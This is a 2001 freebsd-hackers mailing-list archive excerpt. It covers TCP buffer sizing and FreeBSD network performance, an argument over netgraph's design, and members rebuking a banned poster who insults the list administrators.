FreeBSD from the general technical public. Complicated, unintuitive interfaces with a long learning curve are not generally accepted. DB To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 16:44:30 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from services.webwarrior.net (overlord-host99.dsl.visi.com [209.98.86.99]) by hub.freebsd.org (Postfix) with ESMTP id 38B0F37B416 for ; Thu, 29 Nov 2001 16:44:22 -0800 (PST) Received: from twincat.vladsempire.net (hutch-868.hutchtel.net [206.10.71.196]) by services.webwarrior.net (Postfix) with ESMTP id 472EB197 for ; Thu, 29 Nov 2001 18:45:49 -0600 (CST) Received: by twincat.vladsempire.net (Postfix, from userid 1001) id 9E0EF385E; Thu, 29 Nov 2001 18:44:14 +0000 (GMT) Date: Thu, 29 Nov 2001 18:44:14 +0000 From: Josh Paetzel To: Pierre Beyssac Cc: jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011129184414.F522@twincat.vladsempire.net> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <20011130010354.A21307@fasterix.frmug.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130010354.A21307@fasterix.frmug.org>; from pb@fasterix.freenix.org on Fri, Nov 30, 2001 at 01:03:54AM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 01:03:54AM +0100, Pierre Beyssac wrote: > On Thu, Nov 29, 2001 at 12:42:34AM -0500, John Capo wrote: > > sent. find / -print | dd obs=1 will screw up within a few seconds > > and stay that way. Netstat in another ssh session shows data ready > > to go: > > Hmm, some ssh versions tend to hang randomly on lossy links (in the > protocol perhaps, but I haven't ever tried to investigate this). > > Could you try the same in a telnet or rsh connection? I bet it will > work. > > Pierre This gives me the same 1.5megs/sec I am getting with ftp. Doesn't matter whether I use ssh or telnet. Josh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 16:55: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from imo-r09.mx.aol.com (imo-r09.mx.aol.com [152.163.225.105]) by hub.freebsd.org (Postfix) with ESMTP id 6DA5237B41A; Thu, 29 Nov 2001 16:55:03 -0800 (PST) Received: from A180009977889@aol.com by imo-r09.mx.aol.com (mail_out_v31_r1.9.) id n.23.1547b480 (1332); Thu, 29 Nov 2001 19:54:59 -0500 (EST) From: A180009977889@aol.com Message-ID: <23.1547b480.293832e2@aol.com> Date: Thu, 29 Nov 2001 19:54:58 EST Subject: re: netgraph To: hackers@freebsd.org Cc: questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 139 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > The concept that "netgraph hooks" are a "leg up" on say, ETs drivers that > have integrated bandwidth management and prioritization, WAN bridging > support, load balancing and a probably 25% performance advantage is a bit > entertaining. Unless you need to do some convoluted encapsulation netgraph > is, aside from being appallingly non-standard to anything else in the market, > not much of an "advantage", and its a poster child for the trade off of > "flexibility" versus performance. J. Elschier wrote... >Netgraph is a prototyping tool, which has enough performance to be useful >in non-performance-critical applications. (such as all sync interfaces). >It is not designed for gigabit interfaces etc. Im sure the guy with 900 DLCIs on his T3 would not agree that performance is :not an issue" on sync interfaces.. Performance is always an issue, except maybe with tcpdump. This short-sightedness is just what Im referring to. Making netgraph a plug-in option is fine and desireable. Touting it as "the way" to do things is damaging to the OS in general,particuarly when you are not willing to accept alternatives provided by commercial vendors. The best solution is to provide "options" to users. You adulterate the OS by trying to make it do everything, when its very easy to provide clean hooks so that different solutions can be seamlessly used depending on what is best for a particular application. if_ethersubr.c is beginning to look like an abortion, when one or two simple pre and post processing hooks would allow for both open-source and commercial solutions, to be used at the users discretion. Its a matter of thinking about it and coming up with something that makes sense, rather that the "I have something that works so lets stuff it into the OS". just my opinion. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 16:58:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from imo-d07.mx.aol.com (imo-d07.mx.aol.com [205.188.157.39]) by hub.freebsd.org (Postfix) with ESMTP id DE49A37B416; Thu, 29 Nov 2001 16:58:33 -0800 (PST) Received: from A180009977889@aol.com by imo-d07.mx.aol.com (mail_out_v31_r1.9.) id n.be.1e96fb7d (1332); Thu, 29 Nov 2001 19:58:25 -0500 (EST) From: A180009977889@aol.com Message-ID: Date: Thu, 29 Nov 2001 19:58:25 EST Subject: Whos the list coward??? To: hackers@freebsd.org Cc: questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 139 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Whos the pimply-faced moron who keeps blocking my addresses...are you hiding behind your computer and feeling important? You are aware that there are an infinite number of email addresses, right? db To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 17: 3:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from speedracer.speedtoys.com (mail.speedtoys.com [66.80.10.170]) by hub.freebsd.org (Postfix) with ESMTP id 956B437B416; Thu, 29 Nov 2001 17:03:38 -0800 (PST) Received: from localhost (gemohler@localhost) by speedracer.speedtoys.com (8.11.3/8.11.1) with ESMTP id fAU1MIm74128; Thu, 29 Nov 2001 17:22:18 -0800 (PST) Date: Thu, 29 Nov 2001 17:22:18 -0800 (PST) From: Geoff Mohler X-Sender: gemohler@speedracer.speedtoys.com To: A180009977889@aol.com Cc: hackers@FreeBSD.ORG, questions@FreeBSD.ORG Subject: Re: Whos the list coward??? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Sounds like you and that mystery person have a lot in common... On Thu, 29 Nov 2001 A180009977889@aol.com wrote: > Whos the pimply-faced moron who keeps blocking my addresses...are you hiding > behind your computer and feeling important? > > You are aware that there are an infinite number of email addresses, right? > > db > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > --- Geoff Mohler To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 17: 9:49 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from exuma.irbs.com (exuma.irbs.com [216.86.160.252]) by hub.freebsd.org (Postfix) with ESMTP id 4085D37B405 for ; Thu, 29 Nov 2001 17:09:44 -0800 (PST) Received: by exuma.irbs.com (Postfix, from userid 2500) id 774EB17426; Thu, 29 Nov 2001 20:09:38 -0500 (EST) Date: Thu, 29 Nov 2001 20:09:38 -0500 From: John Capo To: Pierre Beyssac Cc: jc@irbs.com, freebsd-hackers@FreeBSD.org Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011129200938.A22456@exuma.irbs.com> Reply-To: jc@irbs.com References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <20011130010354.A21307@fasterix.frmug.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <20011130010354.A21307@fasterix.frmug.org>; from pb@fasterix.freenix.org on Fri, Nov 30, 2001 at 01:03:54AM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG The behavior is different in a telnet session as is executing ssh server 'find / -print | dd obs=1'. Telnet pauses but not as long, the ssh command saturates my fractional T. What I am seeing may not be related to the issues Greg brought up at all. But it does seem odd to me that a window of data is queued on the server, the server has recevied the ack for the last byte it sent, but the server does not start sending until the client acks the same byte again with a data bearing segment. Don't know what the data bearing segment contains, ssh stuff maybe. Quoting Pierre Beyssac (pb@fasterix.freenix.org): > On Thu, Nov 29, 2001 at 12:42:34AM -0500, John Capo wrote: > > sent. find / -print | dd obs=1 will screw up within a few seconds > > and stay that way. Netstat in another ssh session shows data ready > > to go: > > Hmm, some ssh versions tend to hang randomly on lossy links (in the > protocol perhaps, but I haven't ever tried to investigate this). > > Could you try the same in a telnet or rsh connection? I bet it will > work. > > Pierre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 17:24:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [216.33.66.196]) by hub.freebsd.org (Postfix) with ESMTP id DC5A137B405; Thu, 29 Nov 2001 17:24:15 -0800 (PST) Received: by elvis.mu.org (Postfix, from userid 1192) id 6D19981D04; Thu, 29 Nov 2001 19:24:10 -0600 (CST) Date: Thu, 29 Nov 2001 19:24:10 -0600 From: Alfred Perlstein To: A180009977889@aol.com Cc: hackers@freebsd.org, questions@freebsd.org Subject: Re: Whos the list coward??? Message-ID: <20011129192410.Z46769@elvis.mu.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from A180009977889@aol.com on Thu, Nov 29, 2001 at 07:58:25PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * A180009977889@aol.com [011129 18:58] wrote: > Whos the pimply-faced moron who keeps blocking my addresses...are you hiding > behind your computer and feeling important? > Dennis, be assured if I had the access I would have done it a long time ago. > You are aware that there are an infinite number of email addresses, right? That may be true, but there's also AUP and TOS violations that would siginifigantly limit one's access to that infinite number. Now go away, we've all had enough of your negativity. -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' http://www.morons.org/rants/gpl-harmful.php3 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 17:26: 8 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fasterix.frmug.org (s196.dhcp212-75.cybercable.fr [212.198.75.196]) by hub.freebsd.org (Postfix) with ESMTP id E631337B405 for ; Thu, 29 Nov 2001 17:26:04 -0800 (PST) Received: (from pb@localhost) by fasterix.frmug.org (8.11.6/8.11.5/pb-20010814) id fAU1Pl122377; Fri, 30 Nov 2001 02:25:47 +0100 (CET) (envelope-from pb) Message-ID: <20011130022547.A21889@fasterix.frmug.org> Date: Fri, 30 Nov 2001 02:25:47 +0100 From: Pierre Beyssac To: Josh Paetzel Cc: jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <20011130010354.A21307@fasterix.frmug.org> <20011129184414.F522@twincat.vladsempire.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.92.8i In-Reply-To: <20011129184414.F522@twincat.vladsempire.net>; from Josh Paetzel on Thu, Nov 29, 2001 at 06:44:14PM +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 29, 2001 at 06:44:14PM +0000, Josh Paetzel wrote: > > Could you try the same in a telnet or rsh connection? I bet it will > > work. > This gives me the same 1.5megs/sec I am getting with ftp. Doesn't > matter whether I use ssh or telnet. Hmm, sorry, looks like I misunderstood John's initial mail then: I thought the ssh session was completely hung. Having said that, I looked more closely at the TCP session, and it looks like the transfer stops simply when the client's receive window is full. Looks quite normal to me. Client announces a window size of 17376: 21:41:46.418208 client.4427 > server.22: . ack 11489 win 17376 (DF) [tos 0x10] Server sends 1448 bytes: 21:41:47.460903 server.22 > client.4427: . 11489:12937(1448) ack 144 win 17376 (DF) [tos 0x10] Client announces a window size of 15928 (17376 - 1448): 21:41:47.569133 client.4427 > server.22: . ack 12937 win 15928 (DF) [tos 0x10] Client consumes some data internally then increases the window size by 1448 bytes (17376 - 15928): 21:41:49.001039 client.4427 > server.22: P 144:192(48) ack 12937 win 17376 (DF) [tos 0x10] Server sends just enough data to fill the window again: 21:41:49.001073 server.22 > client.4427: . 28049:29497(1448) ack 192 win 17328 (DF) [tos 0x10] This is consistent with the value in the backlog shown by netstat, What is the value of net.inet.tcp.sendspace on the server? It's 16K on -stable, it should be very interesting to try and increase it to 32K or 64K, it makes a lot difference on high bw*delay links. Pierre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 17:33:10 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fasterix.frmug.org (s196.dhcp212-75.cybercable.fr [212.198.75.196]) by hub.freebsd.org (Postfix) with ESMTP id 0887337B419 for ; Thu, 29 Nov 2001 17:33:07 -0800 (PST) Received: (from pb@localhost) by fasterix.frmug.org (8.11.6/8.11.5/pb-20010814) id fAU1X2T22720; Fri, 30 Nov 2001 02:33:02 +0100 (CET) (envelope-from pb) Message-ID: <20011130023302.A22424@fasterix.frmug.org> Date: Fri, 30 Nov 2001 02:33:02 +0100 From: Pierre Beyssac To: Josh Paetzel Cc: jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <20011130010354.A21307@fasterix.frmug.org> <20011129184414.F522@twincat.vladsempire.net> <20011130022547.A21889@fasterix.frmug.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.92.8i In-Reply-To: <20011130022547.A21889@fasterix.frmug.org>; from Pierre Beyssac on Fri, Nov 30, 2001 at 02:25:47AM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 02:25:47AM +0100, Pierre Beyssac wrote: > This is consistent with the value in the backlog shown by netstat, > > What is the value of net.inet.tcp.sendspace on the server? It's 16K Uh, it wouldn't harm, but it won't do much good either on your example. Actually I should have said: increase net.inet.tcp.recvspace to 32K or 64K on the client instead :-) Pierre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 17:35:35 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from citusc17.usc.edu (citusc17.usc.edu [128.125.38.177]) by hub.freebsd.org (Postfix) with ESMTP id 0ED8237B41B for ; Thu, 29 Nov 2001 17:35:33 -0800 (PST) Received: (from kris@localhost) by citusc17.usc.edu (8.11.6/8.11.4) id fAU1ZQ507748; Thu, 29 Nov 2001 17:35:26 -0800 (PST) (envelope-from kris) Date: Thu, 29 Nov 2001 17:35:26 -0800 From: Kris Kennaway To: A180009977889@aol.com Cc: hackers@FreeBSD.ORG Subject: Re: Whos the list coward??? Message-ID: <20011129173526.A7713@citusc17.usc.edu> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="/9DWx/yDrRhgMJTb" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from A180009977889@aol.com on Thu, Nov 29, 2001 at 07:58:25PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --/9DWx/yDrRhgMJTb Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Nov 29, 2001 at 07:58:25PM -0500, A180009977889@aol.com wrote: > Whos the pimply-faced moron who keeps blocking my addresses...are you hid= ing=20 > behind your computer and feeling important? >=20 > You are aware that there are an infinite number of email addresses, right= ?=20 >=20 > db Dennis, The FreeBSD mailing lists are a privilege, not a right. If you've been banned from the lists (and it wasn't me who did it, though I agree with the decision), then it's because you're not welcome here. Your continued attempts to evade the administrative decisions made by the list administrators to keep you out could land you in trouble with your ISPs if it was pursued. You've been banned, what, 3 times now -- take the hint and go away. Kris, speaking for himself. --/9DWx/yDrRhgMJTb Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8BuJdWry0BWjoQKURArycAKDE5N/W3qNoLjAtlo9tjMynrx1fGgCfXXp6 JU2SnM1ygkM6jyQAFvYaJms= =R1iD -----END PGP SIGNATURE----- --/9DWx/yDrRhgMJTb-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 17:42:52 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ussenterprise.ufp.org (ussenterprise.ufp.org [208.185.30.210]) by hub.freebsd.org (Postfix) with ESMTP id 7918437B405 for ; Thu, 29 Nov 2001 17:42:46 -0800 (PST) Received: (from bicknell@localhost) by ussenterprise.ufp.org (8.11.1/8.11.1) id fAU1gP364310; Thu, 29 Nov 2001 20:42:25 -0500 (EST) (envelope-from bicknell) Date: Thu, 29 Nov 2001 20:42:25 -0500 From: Leo Bicknell To: Pierre Beyssac Cc: Josh Paetzel , jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011129204225.A63957@ussenterprise.ufp.org> Mail-Followup-To: Pierre Beyssac , Josh Paetzel , jc@irbs.com, freebsd-hackers@FreeBSD.ORG References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <20011130010354.A21307@fasterix.frmug.org> <20011129184414.F522@twincat.vladsempire.net> <20011130022547.A21889@fasterix.frmug.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130022547.A21889@fasterix.frmug.org>; from pb@fasterix.freenix.org on Fri, Nov 30, 2001 at 02:25:47AM +0100 Organization: United Federation of Planets Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, Nov 30, 2001 at 02:25:47AM +0100, Pierre Beyssac wrote: > What is the value of net.inet.tcp.sendspace on the server? It's 16K > on -stable, it should be very interesting to try and increase it > to 32K or 64K, it makes a lot difference on high bw*delay links. *grumble* I'll try to avoid my tirade. 16K _will cause problems for virtually all users_. You can do the math and see it won't keep a T1 full across country. Now that I understand the issues with increasing it I see why we can't go to real values (eg 256k) because FreeBSD's buffer management isn't up to the task. This default _really_ needs to be moved to 32k, with an increase in default MBUF's. Machines have enough RAM, and it will allow people to fill their home DSL connections. It also puts FreeBSD on par with other OS's. I also think we need to support some of the work on buffer management schemes to be able to do something even better. -- Leo Bicknell - bicknell@ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ Read TMBG List - tmbg-list-request@tmbg.org, www.tmbg.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 18: 0:28 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from InterJet.elischer.org (c421509-a.pinol1.sfba.home.com [24.7.86.9]) by hub.freebsd.org (Postfix) with ESMTP id C321037B416; Thu, 29 Nov 2001 18:00:18 -0800 (PST) Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id RAA22548; Thu, 29 Nov 2001 17:42:39 -0800 (PST) Date: Thu, 29 Nov 2001 17:42:38 -0800 (PST) From: Julian Elischer To: A180009977889@aol.com Cc: hackers@freebsd.org, questions@freebsd.org Subject: re: netgraph In-Reply-To: <23.1547b480.293832e2@aol.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 29 Nov 2001 A180009977889@aol.com wrote: > > The concept that "netgraph hooks" are a "leg up" on say, ETs drivers that > > have integrated bandwidth management and prioritization, WAN bridging > > support, load balancing and a probably 25% performance advantage is a bit > > entertaining. Unless you need to do some convoluted encapsulation netgraph > > is, aside from being appallingly non-standard to anything else in the > market, > > not much of an "advantage", and its a poster child for the trade off of > > "flexibility" versus performance. > > J. Elschier wrote... > > >Netgraph is a prototyping tool, which has enough performance to be useful > >in non-performance-critical applications. (such as all sync interfaces). > >It is not designed for gigabit interfaces etc. > > Im sure the guy with 900 DLCIs on his T3 would not agree that performance is > :not an issue" on sync interfaces.. Performance is always an issue, except > maybe with tcpdump. This short-sightedness is just what Im referring to. If he's doing 900 DLCI's on a T3 he should probably have enough budget to buy a router. However I don't think netgraph would have any problem with that, but it would get a bit cumbersome to adminster with 900 interfaces. That of course is a detail of the frame relay implimentation which I wrote to solve my own desire to have maybe 10 DLCIs. From a performance point of view it would handle 900 with no real degredation that I can think of. It wouldn't take much to add a netgraph node that doesn't need 900 interfacesm but instead presents a single interface and pretends that thew fannout occurs at the "next hop". What netgrapgh does allow me and others to do is to knock up modules to experiment with all these new protocols that are being churned out these days.. (e.g. the 802.1x netgraph module one fellow just wrote). I haven't seen any major drawbacks to netgraph yet, though it would definitly have more overhead than a single monolithic module written to specifically do some operation, it doesn't seem to be as much as I had feared, with no particular noticable overhead under most cases. BTW I don't see what short sightedness you are referring to... > > Making netgraph a plug-in option is fine and desireable. Touting it as "the > way" to do things is damaging to the OS in general,particuarly when you are > not willing to accept alternatives provided by commercial vendors. It is only "the way to go" in cases where it fits the bill.. I haven't seen any alternatives offered yet by any providers yet. (Actually that is not true, a provider has been doing work with the sppp stack). Netgraph is not a part of the basic system. If you leave it off, you still have all the abilities you had without it. It is a module that can be loaded if you want it, and I think that's just how it should be.. (well, it's used to provide pppoe service in the basic system, so it is needed sometimes). > > The best solution is to provide "options" to users. You adulterate the OS by > trying to make it do everything, when its very easy to provide clean hooks so > that different solutions can be seamlessly used depending on what is best for > a particular application. if_ethersubr.c is beginning to look like an > abortion, when one or two simple pre and post processing hooks would allow > for both open-source and commercial solutions, to be used at the users > discretion. Interesting.. Netgraph's influence in if_ethersubr.c is pretty minimal. with I think 1 conditional on the common path.. Wel worth it from my perspective. > > Its a matter of thinking about it and coming up with something that makes > sense, rather that the "I have something that works so lets stuff it into the > OS". So, don't use it... Others want to use it because it fits their requirements and allows them to add modules to do what they want without having to rewrite everything.... I think that helps REDUCE hacks in the rest of the networking code.. > > just my opinion. and you're certainly entitled to it.. You have a particular view of the world and a particular set of requirements of your environemnt. You can jusdge things as you wish according to those requirements. They just happen to be very different to what I see as my requirements, or others see as theirs. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 18:24: 1 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from fasterix.frmug.org (s196.dhcp212-198-75.noos.fr [212.198.75.196]) by hub.freebsd.org (Postfix) with ESMTP id 2E00037B417 for ; Thu, 29 Nov 2001 18:23:58 -0800 (PST) Received: (from pb@localhost) by fasterix.frmug.org (8.11.6/8.11.5/pb-20010814) id fAU2NjM23824; Fri, 30 Nov 2001 03:23:45 +0100 (CET) (envelope-from pb) Message-ID: <20011130032345.A23415@fasterix.frmug.org> Date: Fri, 30 Nov 2001 03:23:45 +0100 From: Pierre Beyssac To: Leo Bicknell Cc: Josh Paetzel , jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <20011130010354.A21307@fasterix.frmug.org> <20011129184414.F522@twincat.vladsempire.net> <20011130022547.A21889@fasterix.frmug.org> <20011129204225.A63957@ussenterprise.ufp.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.92.8i In-Reply-To: <20011129204225.A63957@ussenterprise.ufp.org>; from Leo Bicknell on Thu, Nov 29, 2001 at 08:42:25PM -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, Nov 29, 2001 at 08:42:25PM -0500, Leo Bicknell wrote: > *grumble* I'll try to avoid my tirade. 16K _will cause problems for > virtually all users_. You can do the math and see it won't keep a T1 > full across country. I can't reproduce this result, 16K fills a T1 for 11 ms, which is 22000 km (at 2/3 of light speed), enough to get halfway round the earth... > This default _really_ needs to be moved to 32k, with an increase in I'm not sure it is necessary. Remember that you can always use SO_RCVBUF/SO_SNDBUF to get bigger buffer sizes, bulk transfer tools can always set it explicitly to 64K if they like. For interactive tools like telnet or ssh, increasing the default size is not really useful. Interestingly enough, ftpd does set SO_SNDBUF, but from a quick glance at the code ftp doesn't seem to set SO_RCVBUF, and neither does fetch. Pierre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Nov 29 19:26:59 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by hub.freebsd.org (Postfix) with ESMTP id 31AD737B417 for ; Thu, 29 Nov 2001 19:26:54 -0800 (PST) Received: from pun.isi.edu (pun.isi.edu [128.9.160.150]) by boreas.isi.edu (8.11.6/8.11.2) with ESMTP id fAU3QqN18434; Thu, 29 Nov 2001 19:26:52 -0800 (PST) Received: (from faber@localhost) by pun.isi.edu (8.11.6/8.11.6) id fAU3QoR67727; Thu, 29 Nov 2001 19:26:50 -0800 (PST) (envelope-from faber) Date: Thu, 29 Nov 2001 19:26:50 -0800 From: Ted Faber To: Pierre Beyssac Cc: Leo Bicknell , Josh Paetzel , jc@irbs.com, freebsd-hackers@FreeBSD.ORG Subject: Re: FreeBSD performing worse than Linux? Message-ID: <20011129192650.D64050@pun.isi.edu> References: <20011128153817.T61580@monorchid.lemis.com> <15364.38174.938500.946169@caddis.yogotech.com> <20011129004234.A16101@exuma.irbs.com> <20011130010354.A21307@fasterix.frmug.org> <20011129184414.F522@twincat.vladsempire.net> <20011130022547.A21889@fasterix.frmug.org> <20011129204225.A63957@ussenterprise.ufp.org> <20011130032345.A23415@fasterix.frmug.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=php-sha1; protocol="application/pgp-signature"; boundary="sXc4Kmr5FA7axrvy" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011130032345.A23415@fasterix.frmug.org>; from pb@fasterix.freenix.org on Fri, Nov 30, 2001 at 03:23:45AM +0100 X-url: http://www.isi.edu/~faber Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --sXc4Kmr5FA7axrvy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Fri, Nov 30, 2001 at 03:23:45AM +0100, Pierre Beyssac wrote: > On Thu, Nov 29, 2001 at 08:42:25PM -0500, Leo Bicknell wrote: > > *grumble* I'll try to avoid my tirade. 16K _will cause problems for > > virtually all users_. You can do the math and see it won't keep a T1 > > full across country. > > I can't reproduce this result, 16K fills a T1 for 11 ms, which is > 22000 km (at 2/3 of light speed), enough to get halfway round the > earth... Not *this* Earth, what with real equipment and all. I get 22ms to my home machine less than 6 miles from my work machine via DSL. Both machines have very good connectivity, but there are delay artifacts in the world. And pinging ctr.columbia.edu from my machine in Southern California gets me 70 ms. Neither of those should show the DSL artifact. Columbia's not 9065 miles away, even by wire length. And, not to be too pedantic, you've calculated the 2/3c distance for 110ms, not 11 ms. :-) --sXc4Kmr5FA7axrvy Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org 